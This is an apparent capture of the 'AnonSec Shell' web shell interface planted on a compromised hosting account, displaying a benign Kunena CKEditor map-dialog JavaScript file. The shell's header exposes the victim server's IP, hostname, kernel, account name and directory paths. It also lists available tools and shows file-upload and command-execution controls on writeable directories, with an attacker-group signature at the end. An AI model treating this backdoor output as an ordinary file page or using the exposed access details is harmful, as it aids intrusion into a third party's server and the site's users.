AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/montpellier/media/kunena/core/js/plugins/map/dialogs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/montpellier/media/kunena/core/js/plugins/map/dialogs/map.js
/**
 * Kunena Component
 * @package Kunena.Media
 *
 * @copyright     Copyright (C) 2008 - @currentyear@ Kunena Team. All rights reserved.
 * @license https://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link https://www.kunena.org
 **/

CKEDITOR.dialog.add( 'mapDialog', function( editor ) {
	return {
		title: Joomla.Text._('COM_KUNENA_EDITOR_DIALOG_MAPS_PROPERTIES'),
		minWidth: 400,
		minHeight: 200,
		contents: [
            {
                id: 'tab-basic',
                label: Joomla.Text._('COM_KUNENA_EDITOR_DIALOG_BASIC_SETTINGS'),
                elements: [
                    {
    type: 'select',
    id: 'maptype',
    label: 'Select the map type',
    items: [ [ 'HYBRID' ], [ 'ROADMAP' ], [ 'TERRAIN' ], [ 'SATELITE' ] ],
    'default': 'Roadmap',
    onChange: function( api ) {
        // this = CKEDITOR.ui.dialog.select
        //alert( 'Current value: ' + this.getValue() );
    }
},
 {
    type: 'select',
    id: 'zoomlevel',
    label: 'Select the zoom level',
    items: [ [ '2' ], [ '4' ], [ '6' ], [ '8' ], [ '10' ], [ '12' ], [ '14' ], [ '16' ], [ '18' ] ],
    'default': '10',
    onChange: function( api ) {
        // this = CKEDITOR.ui.dialog.select
    }
},
{
                        type: 'text',
                        id: 'city',
                        label: 'City',
                        default: '',
                        validate: CKEDITOR.dialog.validate.notEmpty( "City cannot be empty." )
                    }
                ]
            }
        ],
        onOk: function() {
            var dialog = this;

            var abbr = editor.document.createElement( 'city' );
            
            abbr.setText( dialog.getValueOf( 'tab-basic', 'city' ) );

            editor.insertHtml( '[map type='+dialog.getValueOf( 'tab-basic', 'maptype' )+' mode='+dialog.getValueOf( 'tab-basic', 'zoomlevel' )+']' + dialog.getValueOf( 'tab-basic', 'city' ) + '[/map]' );
        }
	};
});

Anon7 - 2022
AnonSec Team